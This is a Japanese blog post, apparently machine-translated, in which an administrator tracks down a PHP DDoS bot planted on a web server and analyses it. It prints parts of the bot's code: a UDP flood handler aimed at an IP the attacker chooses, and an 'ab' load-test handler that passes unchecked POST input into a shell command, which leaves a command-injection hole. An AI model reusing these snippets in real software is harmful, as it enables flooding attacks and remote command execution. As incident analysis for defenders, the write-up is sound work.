PHP DDOSボットがサーバーを動き回る

今日、朝の2時頃、私が寝たいと思ったとき、友人の1人がSkypeで私に手紙を書きました。 昨年、私は彼が彼のサーバーのいくつかを管理するのを手伝いました。 そのような遅い時間に、彼はmrtgスケジュールで判断して、自分のサーバーの1つのネットワークインターフェイスが完全に詰まっていると書きました。 本当に、私はsshにさえ到達できず、サーバーが再起動され、状況の分析が始まりました...



画像



状況分析


サーバーを再起動した後、しばらくしてからトラフィックが再び現れました。 iptrafを起動し、1つのIPアドレス-「 171.161.224.16 」にかなり多数のUDPパケットを表示しました。dns5.bankofamerica.comでそれを落ち着かせたとき、すべてが所定の場所に落ち、明らかにサーバーからのdDoSがありました。



iptablesの禁止IP。 トップを見て、httpdプロセスの1つがCPUを100%消費し、それにstraceを設定すると、同じおなじみのアドレスを見ました。 サーバーにaccess_logsがなく、error_logsが空だったため、美しいphpモジュールbaxtepハブに関する記事 )のログに目を向けました。このモジュールは、 PHPインタープリターを介してコマンドを実行しようとするすべての試行をログに書き込みます。 RPMを作成し、万が一の場合に備えて常に病棟のサーバーに配置しました。 肉眼で、目的のスクリプトの名前を決定しました。



2012-01-12 22:46:33 BAXTEP: system CMDLINE: `killall -9 perl` FILE: /home/user/site/htdocs/dir/db/indx.php on line 19 URI: /dir/db/indx.php

2012-01-12 22:46:33 BAXTEP: system CMDLINE: `killall -9 perl-bin` FILE: /home/user/site/htdocs/dir/db/indx.php on line 19 URI: /dir/db/indx.php

2012-01-12 22:46:33 BAXTEP: system CMDLINE: `killall -9 perl-cgi` FILE: /home/user/site/htdocs/dir/db/indx.php on line 19 URI: /dir/db/indx.php







ファイルコードは参照により利用可能です、私はグーグルでファイルからitsoknoproblembro行でそれを見つけました、グーグルは結果を1つしか持っていません



コード分​​析


ファイルサイズはわずか3kbで、コードは複雑ではありません。 ボットの主な機能:



dDoSについて詳しく説明します。



  case "ust": $page = curPageURL(); $ip = $_POST['ip']; $port = "11"; $out = $page."\n"; $socket = stream_socket_client("udp://$ip:$port"); if ($socket) { stream_set_write_buffer($socket, 0); stream_socket_sendto($socket,$out); } fclose($socket); break;
      
      





スクリプトは、パラメーターを介して攻撃されているターゲットのアドレスを受け取り、UDPソケットを開き、ソケットが存在している間に、11番目のポートに要求を送信します。 さらに、データ内で独自のアドレスを渡すのは興味深いことです。

 function curPageURL(){ $pageURL = 'http'; if ($_SERVER["HTTPS"] == "on") { $pageURL .= "s"; } $pageURL .= "://"; if ($_SERVER["SERVER_PORT"] != "80") { $pageURL .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"]; } else { $pageURL .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"]; } return $pageURL; }
      
      





「なぜ?」という質問は、私の頭を12時間放置していません。



2番目の攻撃方法は、 abユーティリティを使用する方法です。

  case "ab": $url = $_POST['url']; $c = $_POST['c']; $n = $_POST['n']; cmdexec("ab -c $c -n $n $url"); break;
      
      





さらに、受信パラメーターのチェックはなく、サーバー上で任意のコマンドを実行できます。



以前、私は個人的にPHPでUDP ddos​​に出くわしませんでした、彼らは私たちにこれを埋めませんでした、グーグルそれ-人々は長い間異なるソースで練習していたようです。



結論





All Articles